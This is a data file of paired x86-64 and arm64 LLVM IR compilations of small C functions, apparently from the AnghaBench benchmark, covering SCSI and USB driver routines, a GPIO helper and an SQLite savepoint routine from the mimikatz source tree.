; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/scsi/bfa/extr_bfa_fcpim.c_bfa_itnim_sm_deleting_qfull.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/scsi/bfa/extr_bfa_fcpim.c_bfa_itnim_sm_deleting_qfull.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.bfa_itnim_s = type { i32, i32, ptr } @bfa_itnim_sm_deleting = dso_local local_unnamed_addr global i32 0, align 4 @bfa_itnim_sm_uninit = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @bfa_itnim_sm_deleting_qfull], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @bfa_itnim_sm_deleting_qfull(ptr noundef %0, i32 noundef %1) #0 { %3 = load i32, ptr %0, align 8, !tbaa !5 %4 = getelementptr inbounds %struct.bfa_itnim_s, ptr %0, i64 0, i32 2 %5 = load ptr, ptr %4, align 8, !tbaa !11 %6 = load i32, ptr %5, align 4, !tbaa !12 %7 = tail call i32 @bfa_trc(i32 noundef %3, i32 noundef %6) #2 %8 = load i32, ptr %0, align 8, !tbaa !5 %9 = tail call i32 @bfa_trc(i32 noundef %8, i32 noundef %1) #2 switch i32 %1, label %20 [ i32 128, label %10 i32 129, label %14 ] 10: ; preds = %2 %11 = load i32, ptr @bfa_itnim_sm_deleting, align 4, !tbaa !14 %12 = tail call i32 @bfa_sm_set_state(ptr noundef nonnull %0, i32 noundef %11) #2 %13 = tail call i32 @bfa_itnim_send_fwdelete(ptr noundef nonnull %0) #2 br label %23 14: ; preds = %2 %15 = load i32, ptr @bfa_itnim_sm_uninit, align 4, !tbaa !14 %16 = tail call i32 @bfa_sm_set_state(ptr noundef nonnull %0, i32 noundef %15) #2 %17 = getelementptr inbounds %struct.bfa_itnim_s, ptr %0, i64 0, i32 1 %18 = tail call i32 @bfa_reqq_wcancel(ptr noundef nonnull %17) #2 %19 = tail call i32 @bfa_fcpim_delitn(ptr noundef nonnull %0) #2 br label %23 20: ; preds = %2 %21 = load i32, ptr %0, align 8, !tbaa !5 %22 = tail call i32 @bfa_sm_fault(i32 noundef %21, i32 noundef %1) #2 br label %23 23: ; preds = %20, %14, %10 ret void } declare i32 @bfa_trc(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @bfa_sm_set_state(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @bfa_itnim_send_fwdelete(ptr noundef) local_unnamed_addr #1 declare i32 @bfa_reqq_wcancel(ptr noundef) local_unnamed_addr #1 declare i32 @bfa_fcpim_delitn(ptr noundef) local_unnamed_addr #1 declare i32 @bfa_sm_fault(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"bfa_itnim_s", !7, i64 0, !7, i64 4, !10, i64 8} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"any pointer", !8, i64 0} !11 = !{!6, !10, i64 8} !12 = !{!13, !7, i64 0} !13 = !{!"TYPE_2__", !7, i64 0} !14 = !{!7, !7, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/scsi/bfa/extr_bfa_fcpim.c_bfa_itnim_sm_deleting_qfull.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/scsi/bfa/extr_bfa_fcpim.c_bfa_itnim_sm_deleting_qfull.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @bfa_itnim_sm_deleting = common local_unnamed_addr global i32 0, align 4 @bfa_itnim_sm_uninit = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @bfa_itnim_sm_deleting_qfull], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @bfa_itnim_sm_deleting_qfull(ptr noundef %0, i32 noundef %1) #0 { %3 = load i32, ptr %0, align 8, !tbaa !6 %4 = getelementptr inbounds i8, ptr %0, i64 8 %5 = load ptr, ptr %4, align 8, !tbaa !12 %6 = load i32, ptr %5, align 4, !tbaa !13 %7 = tail call i32 @bfa_trc(i32 noundef %3, i32 noundef %6) #2 %8 = load i32, ptr %0, align 8, !tbaa !6 %9 = tail call i32 @bfa_trc(i32 noundef %8, i32 noundef %1) #2 switch i32 %1, label %20 [ i32 128, label %10 i32 129, label %14 ] 10: ; preds = %2 %11 = load i32, ptr @bfa_itnim_sm_deleting, align 4, !tbaa !15 %12 = tail call i32 @bfa_sm_set_state(ptr noundef nonnull %0, i32 noundef %11) #2 %13 = tail call i32 @bfa_itnim_send_fwdelete(ptr noundef nonnull %0) #2 br label %23 14: ; preds = %2 %15 = load i32, ptr @bfa_itnim_sm_uninit, align 4, !tbaa !15 %16 = tail call i32 @bfa_sm_set_state(ptr noundef nonnull %0, i32 noundef %15) #2 %17 = getelementptr inbounds i8, ptr %0, i64 4 %18 = tail call i32 @bfa_reqq_wcancel(ptr noundef nonnull %17) #2 %19 = tail call i32 @bfa_fcpim_delitn(ptr noundef nonnull %0) #2 br label %23 20: ; preds = %2 %21 = load i32, ptr %0, align 8, !tbaa !6 %22 = tail call i32 @bfa_sm_fault(i32 noundef %21, i32 noundef %1) #2 br label %23 23: ; preds = %20, %14, %10 ret void } declare i32 @bfa_trc(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @bfa_sm_set_state(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @bfa_itnim_send_fwdelete(ptr noundef) local_unnamed_addr #1 declare i32 @bfa_reqq_wcancel(ptr noundef) local_unnamed_addr #1 declare i32 @bfa_fcpim_delitn(ptr noundef) local_unnamed_addr #1 declare i32 @bfa_sm_fault(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"bfa_itnim_s", !8, i64 0, !8, i64 4, !11, i64 8} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"any pointer", !9, i64 0} !12 = !{!7, !11, i64 8} !13 = !{!14, !8, i64 0} !14 = !{!"TYPE_2__", !8, i64 0} !15 = !{!8, !8, i64 0}
fastsocket_kernel_drivers_scsi_bfa_extr_bfa_fcpim.c_bfa_itnim_sm_deleting_qfull
; ModuleID = 'AnghaBench/linux/drivers/scsi/qedi/extr_qedi_sysfs.c_qedi_dev_to_hba.c' source_filename = "AnghaBench/linux/drivers/scsi/qedi/extr_qedi_sysfs.c_qedi_dev_to_hba.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @qedi_dev_to_hba], section "llvm.metadata" ; Function Attrs: inlinehint nounwind uwtable define internal ptr @qedi_dev_to_hba(ptr noundef %0) #0 { %2 = tail call ptr @class_to_shost(ptr noundef %0) #2 %3 = tail call ptr @iscsi_host_priv(ptr noundef %2) #2 ret ptr %3 } declare ptr @class_to_shost(ptr noundef) local_unnamed_addr #1 declare ptr @iscsi_host_priv(ptr noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/linux/drivers/scsi/qedi/extr_qedi_sysfs.c_qedi_dev_to_hba.c' source_filename = "AnghaBench/linux/drivers/scsi/qedi/extr_qedi_sysfs.c_qedi_dev_to_hba.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @qedi_dev_to_hba], section "llvm.metadata" ; Function Attrs: inlinehint nounwind ssp uwtable(sync) define internal ptr @qedi_dev_to_hba(ptr noundef %0) #0 { %2 = tail call ptr @class_to_shost(ptr noundef %0) #2 %3 = tail call ptr @iscsi_host_priv(ptr noundef %2) #2 ret ptr %3 } declare ptr @class_to_shost(ptr noundef) local_unnamed_addr #1 declare ptr @iscsi_host_priv(ptr noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
linux_drivers_scsi_qedi_extr_qedi_sysfs.c_qedi_dev_to_hba
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/mach-ks8695/extr_gpio.c_irq_to_gpio.c' source_filename = "AnghaBench/fastsocket/kernel/arch/arm/mach-ks8695/extr_gpio.c_irq_to_gpio.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @KS8695_IRQ_EXTERN0 = dso_local local_unnamed_addr global i32 0, align 4 @KS8695_IRQ_EXTERN3 = dso_local local_unnamed_addr global i32 0, align 4 @EINVAL = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(read, argmem: none, inaccessiblemem: none) uwtable define dso_local i32 @irq_to_gpio(i32 noundef %0) local_unnamed_addr #0 { %2 = load i32, ptr @KS8695_IRQ_EXTERN0, align 4, !tbaa !5 %3 = icmp ugt i32 %2, %0 %4 = load i32, ptr @KS8695_IRQ_EXTERN3, align 4 %5 = icmp ult i32 %4, %0 %6 = select i1 %3, i1 true, i1 %5 %7 = load i32, ptr @EINVAL, align 4 %8 = sub nsw i32 0, %7 %9 = sub i32 %0, %2 %10 = select i1 %6, i32 %8, i32 %9 ret i32 %10 } attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(read, argmem: none, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/mach-ks8695/extr_gpio.c_irq_to_gpio.c' source_filename = "AnghaBench/fastsocket/kernel/arch/arm/mach-ks8695/extr_gpio.c_irq_to_gpio.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @KS8695_IRQ_EXTERN0 = common local_unnamed_addr global i32 0, align 4 @KS8695_IRQ_EXTERN3 = common local_unnamed_addr global i32 0, align 4 @EINVAL = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, argmem: none, inaccessiblemem: none) uwtable(sync) define i32 @irq_to_gpio(i32 noundef %0) local_unnamed_addr #0 { %2 = load i32, ptr @KS8695_IRQ_EXTERN0, align 4, !tbaa !6 %3 = icmp ugt i32 %2, %0 %4 = load i32, ptr @KS8695_IRQ_EXTERN3, align 4 %5 = icmp ult i32 %4, %0 %6 = select i1 %3, i1 true, i1 %5 %7 = load i32, ptr @EINVAL, align 4 %8 = sub nsw i32 0, %7 %9 = sub i32 %0, %2 %10 = select i1 %6, i32 %8, i32 %9 ret i32 %10 } attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, argmem: none, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
fastsocket_kernel_arch_arm_mach-ks8695_extr_gpio.c_irq_to_gpio
; ModuleID = 'AnghaBench/mimikatz/modules/extr_sqlite3_omit.c_releaseAllSavepoints.c' source_filename = "AnghaBench/mimikatz/modules/extr_sqlite3_omit.c_releaseAllSavepoints.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_4__ = type { i32, i64, ptr, i32, i32 } %struct.TYPE_5__ = type { i32 } @llvm.compiler.used = appending global [1 x ptr] [ptr @releaseAllSavepoints], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @releaseAllSavepoints(ptr nocapture noundef %0) #0 { %2 = load i32, ptr %0, align 8, !tbaa !5 %3 = icmp sgt i32 %2, 0 br i1 %3, label %4, label %16 4: ; preds = %1 %5 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 2 br label %6 6: ; preds = %4, %6 %7 = phi i64 [ 0, %4 ], [ %12, %6 ] %8 = load ptr, ptr %5, align 8, !tbaa !12 %9 = getelementptr inbounds %struct.TYPE_5__, ptr %8, i64 %7 %10 = load i32, ptr %9, align 4, !tbaa !13 %11 = tail call i32 @sqlite3BitvecDestroy(i32 noundef %10) #3 %12 = add nuw nsw i64 %7, 1 %13 = load i32, ptr %0, align 8, !tbaa !5 %14 = sext i32 %13 to i64 %15 = icmp slt i64 %12, %14 br i1 %15, label %6, label %16, !llvm.loop !15 16: ; preds = %6, %1 %17 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 4 %18 = load i32, ptr %17, align 4, !tbaa !17 %19 = icmp eq i32 %18, 0 br i1 %19, label %25, label %20 20: ; preds = %16 %21 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 3 %22 = load i32, ptr %21, align 8, !tbaa !18 %23 = tail call i64 @sqlite3JournalIsInMemory(i32 noundef %22) #3 %24 = icmp eq i64 %23, 0 br i1 %24, label %29, label %25 25: ; preds = %20, %16 %26 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 3 %27 = load i32, ptr %26, align 8, !tbaa !18 %28 = tail call i32 @sqlite3OsClose(i32 noundef %27) #3 br label %29 29: ; preds = %25, %20 %30 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 2 %31 = load ptr, ptr %30, align 8, !tbaa !12 %32 = tail call i32 @sqlite3_free(ptr noundef %31) #3 store i32 0, ptr %0, align 8, !tbaa !5 %33 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 1 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %33, i8 0, i64 16, i1 false) ret void } declare i32 @sqlite3BitvecDestroy(i32 noundef) local_unnamed_addr #1 declare i64 @sqlite3JournalIsInMemory(i32 noundef) local_unnamed_addr #1 declare i32 @sqlite3OsClose(i32 noundef) local_unnamed_addr #1 declare i32 @sqlite3_free(ptr noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_4__", !7, i64 0, !10, i64 8, !11, i64 16, !7, i64 24, !7, i64 28} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"long", !8, i64 0} !11 = !{!"any pointer", !8, i64 0} !12 = !{!6, !11, i64 16} !13 = !{!14, !7, i64 0} !14 = !{!"TYPE_5__", !7, i64 0} !15 = distinct !{!15, !16} !16 = !{!"llvm.loop.mustprogress"} !17 = !{!6, !7, i64 28} !18 = !{!6, !7, i64 24}
; ModuleID = 'AnghaBench/mimikatz/modules/extr_sqlite3_omit.c_releaseAllSavepoints.c' source_filename = "AnghaBench/mimikatz/modules/extr_sqlite3_omit.c_releaseAllSavepoints.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_5__ = type { i32 } @llvm.used = appending global [1 x ptr] [ptr @releaseAllSavepoints], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @releaseAllSavepoints(ptr nocapture noundef %0) #0 { %2 = load i32, ptr %0, align 8, !tbaa !6 %3 = icmp sgt i32 %2, 0 br i1 %3, label %4, label %16 4: ; preds = %1 %5 = getelementptr inbounds i8, ptr %0, i64 16 br label %6 6: ; preds = %4, %6 %7 = phi i64 [ 0, %4 ], [ %12, %6 ] %8 = load ptr, ptr %5, align 8, !tbaa !13 %9 = getelementptr inbounds %struct.TYPE_5__, ptr %8, i64 %7 %10 = load i32, ptr %9, align 4, !tbaa !14 %11 = tail call i32 @sqlite3BitvecDestroy(i32 noundef %10) #3 %12 = add nuw nsw i64 %7, 1 %13 = load i32, ptr %0, align 8, !tbaa !6 %14 = sext i32 %13 to i64 %15 = icmp slt i64 %12, %14 br i1 %15, label %6, label %16, !llvm.loop !16 16: ; preds = %6, %1 %17 = getelementptr inbounds i8, ptr %0, i64 28 %18 = load i32, ptr %17, align 4, !tbaa !18 %19 = icmp eq i32 %18, 0 br i1 %19, label %25, label %20 20: ; preds = %16 %21 = getelementptr inbounds i8, ptr %0, i64 24 %22 = load i32, ptr %21, align 8, !tbaa !19 %23 = tail call i64 @sqlite3JournalIsInMemory(i32 noundef %22) #3 %24 = icmp eq i64 %23, 0 br i1 %24, label %29, label %25 25: ; preds = %20, %16 %26 = getelementptr inbounds i8, ptr %0, i64 24 %27 = load i32, ptr %26, align 8, !tbaa !19 %28 = tail call i32 @sqlite3OsClose(i32 noundef %27) #3 br label %29 29: ; preds = %25, %20 %30 = getelementptr inbounds i8, ptr %0, i64 16 %31 = load ptr, ptr %30, align 8, !tbaa !13 %32 = tail call i32 @sqlite3_free(ptr noundef %31) #3 store i32 0, ptr %0, align 8, !tbaa !6 %33 = getelementptr inbounds i8, ptr %0, i64 8 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %33, i8 0, i64 16, i1 false) ret void } declare i32 @sqlite3BitvecDestroy(i32 noundef) local_unnamed_addr #1 declare i64 @sqlite3JournalIsInMemory(i32 noundef) local_unnamed_addr #1 declare i32 @sqlite3OsClose(i32 noundef) local_unnamed_addr #1 declare i32 @sqlite3_free(ptr noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_4__", !8, i64 0, !11, i64 8, !12, i64 16, !8, i64 24, !8, i64 28} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"long", !9, i64 0} !12 = !{!"any pointer", !9, i64 0} !13 = !{!7, !12, i64 16} !14 = !{!15, !8, i64 0} !15 = !{!"TYPE_5__", !8, i64 0} !16 = distinct !{!16, !17} !17 = !{!"llvm.loop.mustprogress"} !18 = !{!7, !8, i64 28} !19 = !{!7, !8, i64 24}
mimikatz_modules_extr_sqlite3_omit.c_releaseAllSavepoints
; ModuleID = 'AnghaBench/freebsd/sys/dev/usb/controller/extr_avr32dci.c_avr32dci_set_stall.c' source_filename = "AnghaBench/freebsd/sys/dev/usb/controller/extr_avr32dci.c_avr32dci_set_stall.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @MA_OWNED = dso_local local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [9 x i8] c"pipe=%p\0A\00", align 1 @UE_ADDR = dso_local local_unnamed_addr global i32 0, align 4 @AVR32_EPTSTA_FRCESTALL = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @avr32dci_set_stall], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @avr32dci_set_stall(ptr nocapture noundef readonly %0, ptr noundef %1, ptr nocapture readnone %2) #0 { %4 = load i32, ptr %0, align 4, !tbaa !5 %5 = load i32, ptr @MA_OWNED, align 4, !tbaa !10 %6 = tail call i32 @USB_BUS_LOCK_ASSERT(i32 noundef %4, i32 noundef %5) #2 %7 = tail call i32 @DPRINTFN(i32 noundef 5, ptr noundef nonnull @.str, ptr noundef %1) #2 %8 = load i32, ptr %0, align 4, !tbaa !5 %9 = tail call ptr @AVR32_BUS2SC(i32 noundef %8) #2 %10 = load ptr, ptr %1, align 8, !tbaa !11 %11 = load i32, ptr %10, align 4, !tbaa !14 %12 = load i32, ptr @UE_ADDR, align 4, !tbaa !10 %13 = and i32 %12, %11 %14 = tail call i32 @AVR32_EPTSETSTA(i32 noundef %13) #2 %15 = load i32, ptr @AVR32_EPTSTA_FRCESTALL, align 4, !tbaa !10 %16 = tail call i32 @AVR32_WRITE_4(ptr noundef %9, i32 noundef %14, i32 noundef %15) #2 ret void } declare i32 @USB_BUS_LOCK_ASSERT(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @DPRINTFN(i32 